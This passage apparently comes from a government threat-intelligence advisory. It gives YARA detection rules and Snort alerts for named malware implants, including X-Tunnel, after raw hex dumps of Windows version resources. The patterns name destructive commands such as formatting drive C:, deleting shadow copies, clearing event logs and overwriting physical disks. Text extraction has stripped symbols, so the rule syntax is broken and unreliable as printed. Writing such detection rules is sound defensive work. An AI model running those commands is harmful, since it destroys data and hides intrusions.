61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04 b5  78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A 44 B1 1D 3F 00 00 00 00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 TLP:WHITE 25 of 56  25 of 56  TLP:WHITE 00 B2 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00 74 00 6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38 00 35 00 30 00 29 00 00 00 00 00 30 00 08 00 01 00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73 00 69 00 65 00 78 00 65 00 63 00 2E 00 65 00 78 00 65 00 00 00 58 00 1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 20 00 2D 00 20 00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04 b6  D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00 00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00 00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 10 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00 61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 TLP:WHITE 26 of 56  26 of 56  TLP:WHITE 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 condition: (uint16(0)  0x5A4D and uint32(uint32(0x3C))  0x00004550) and (((any of (a)) and (uint32(uint32(0x3C)8)  0x00000000)) or (for any of (b): ( in (uint32(uint32(0x3C)248(40(uint16(uint32(0x3C)6)- 1)20))..(uint32(uint32(0x3C)248(40(uint16(uint32(0x3C)6)- 1)20))uint32(uint32(0x3C)248(40(uint16(uint32(0x3C)6)-1)16)))))))  Rule IMPLANT_4_v4  strings: DK_format1  /c format c: /Y /Q ascii DK_format2  /c format c: /Y /X /FS:NTFS ascii DK_physicaldrive  PhysicalDrived wide DK_shutdown  shutdown /r /t d MZ  4d 5a condition: MZ at 0 and all of (DK)  Rule IMPLANT_4_v5  strings: GEN_HASH  0F BE C9 C1 C0 07 33 C1 condition: TLP:WHITE 27 of 56  27 of 56  TLP:WHITE (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_4_v6  strings: STR1  DispatchCommand wide ascii STR2  DispatchEvent wide ascii condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_4_v7  strings: sb1  C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C sb2  C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C sb3  C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C sb4  C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C sb5  C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C sb6  C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C sb7  C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C sb8  C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C sb9  C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C sb10  C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C TLP:WHITE 28 of 56  28 of 56  TLP:WHITE condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and 3 of them  Rule IMPLANT_4_v8  strings: f1  5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18 f2  5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00 8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC f3  5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66 8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68 65 6C 54 FF 57 a1  83 EC 04 60 E9 1E 01 00 00 condition: a1 at entrypoint or any of (f)  Rule IMPLANT_4_v9  strings: a  wevtutil clear-log ascii wide nocase b  vssadmin delete shadows ascii wide nocase TLP:WHITE 29 of 56  29 of 56  TLP:WHITE c  AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6 ascii wide nocase d  Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a ascii wide nocase //e  57 55 33 c9 51 8b c3 99 57 52 50 openPhysicalDiskOverwriteWithZeros   57 55 33 C9 51 8B C3 99 57 52 50 E8 ??
??
?? ?
?
52 50 E8 ??
??
?? ?
?
83 C4 10 84 C0 75 21 33 C0 89 44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ??
??
?? ?
?
85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 f  83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0 condition: (a and b) or c or d or (openPhysicalDiskOverwriteWithZeros and f)  Rule IMPLANT_4_v10  strings: A1B05C72 EB3D0384 6F45594E 71815A4E D5B03E72 6B43594E F572993D 665D9DC0 0BE7A75A F37443C5 A2A474BB 97DEEC67 7E0CB078 TLP:WHITE 30 of 56  30 of 56  TLP:WHITE 9C9678BF 4A37A149 8667416B 0A375BA4 DC505A8D 02F1F808 2C819712 condition: uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550 and 15 of them  Rule IMPLANT_4_v11  strings: /c format c: /Y /X /FS:NTFS .exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf wide .dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar wide  .crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff wide tempfilename  ls_ls_ls_d.tmp ascii wide condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and 2 of them  Rule IMPLANT_4_v12  TLP:WHITE 31 of 56  31 of 56  TLP:WHITE strings: CMP1  81 ?
?
4D 5A 00 00 SUB1  81 ?
?
00 10 00 00 CMP2  66 81 38 4D 5A SUB2  2D 00 10 00 00 HAL   HAL.dll OUT   E6 64 E9 ?? ?
?
FF FF condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and (CMP1 or CMP2) and (SUB1 or SUB2) and OUT and HAL  Rule IMPLANT_4_v13  strings: XMLDOM1  81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60 XMLDOM2  90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60 XMLPARSE  8B 06 [0-2] 8D 55 ?
C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00 66 83 7D ?
C FF 75 3?
8B 06 [0-2] 8D 55 F?
52 50 [0-2] FF 51 30 85 C0 78 2?
EXP1  DispatchCommand EXP2  DispatchEvent BDATA     85 C0 74 1?
0F B7 4?
06 83 C?
28 [0-6] 72 ?
?
33 C0 5F 5E 5B 5D C2 08 00 8B 4?
0?
8B 4?
0?
89 01 8B 4?
0C 03 [0-2] EB E?
condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  TLP:WHITE 32 of 56  32 of 56  TLP:WHITE The following YARA rules detect X-Tunnel, referred to as IMPLANT 5 with rule naming convention.
IMPLANT 5 Rules: Rule IMPLANT_5_v1  strings: hexstr  2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00 70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00 UDPMSG1  error 2005 recv from server UDP - d\x0a TPSMSG1  error 2004 send to TPS - d\x0a TPSMSG2  error 2003 recv from TPS - d\x0a UDPMSG2  error 2002 send to server UDP - d\x0a condition: any of them  Rule IMPLANT_5_v2  strings: key0   987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 key1   8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 key2   E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 key3   48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 key4   FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 key5   34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 TLP:WHITE 33 of 56  33 of 56  TLP:WHITE key6   F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 key7   0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE key8   FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A key9   F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB key10   A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D key11   5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 key12   0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 key13   5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 key14   E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 key15   7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 key16   2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 key17   808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E key18   028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B key19   878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 key20   7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 key21   3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 key22   7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 key23   D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 key24   CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 key25   C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC key26   63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB key27   27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB key28   B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 key29   88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 key30   36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B key31   FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 key32   86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 key33   BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 TLP:WHITE 34 of 56  34 of 56  TLP:WHITE key34   C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D key35   0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F key36   06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 key37   6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 key38   C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 key39   19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 key40   C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 key41   C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 key42   856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 key43   244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F key44   DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 key45   54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 key46   23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C key47   4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C key48   019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C key49   A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 key50   731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 key51   540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 key52   D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 key53   E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 key54   D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB key55   B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 key56   077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 key57   C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA key58   5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC key59   A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB key60   4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA key61   0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 TLP:WHITE 35 of 56  35 of 56  TLP:WHITE key62   8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 key63   CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB key64   A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F key65   8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C key66   A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD key67   E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A key68   4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B key69   FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 key70   52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 key71   931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 key72   318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 key73   5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 key74   C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 key75   D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 key76   0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 key77   CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 key78   074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 key79   6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E key80   C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 key81   A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 key82   237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E key83   A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 key84   83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 key85   145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 key86   AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 key87   7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 key88   0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F key89   5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 TLP:WHITE 36 of 56  36 of 56  TLP:WHITE key90   6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F key91   DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 key92   16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 key93   1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 key94   E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 key95   73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C key96   F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 key97   BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E key98   151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 key99   F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 key100   5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E key101   F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 key102   A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 key103   C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 key104   AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 key105   C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 key106   E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 key107   204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 key108   831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 key109   42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED key110   B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D key111   6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 key112   B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E key113   95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 key114   75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D key115   96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C key116   584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 key117   D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A TLP:WHITE 37 of 56  37 of 56  TLP:WHITE key118   BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D key119   04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B key120   3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 key121   8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF key122   B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 key123   A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 key124   78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 key125   540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 key126   7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 key127   37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 condition: any of them  Rule IMPLANT_5_v3  strings: BYTES1   0F AF C0 6?
C0 07 00 00 00 2D 01 00 00 00 0F AF ?
?
39 ?
8 BYTES2   0F AF C0 6?
C0 07 48 0F AF ?
?
39 ?
8 condition: any of them  Rule IMPLANT_5_v4  strings: FBKEY1   987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 FBKEY2   8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 TLP:WHITE 38 of 56  38 of 56  TLP:WHITE FBKEY3   E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 FBKEY4   48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 FBKEY5   FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 condition: all of them  Network Indicators for Implant 5 alert tcp any any - any [HTTP_PORTS,44300] (msg:X Tunnel_HTTP_CONNECT_HANDSHAKE flow:established,to_server dsize:4 content:00 00 00 offset:1 depth:3 byte_test:1,,96,0 content:HTTP) alert tcp any any - any 443 (msg:X Tunnel_UPSTREAM_CONNECTION_EVENT flow:established,to_server stream_size:either,,20 content:02 00 00 10 depth:4) The following YARA rules detect Sofacy, Sednit, EVILTOSS, referred to as IMPLANT 6 with rule naming convention.
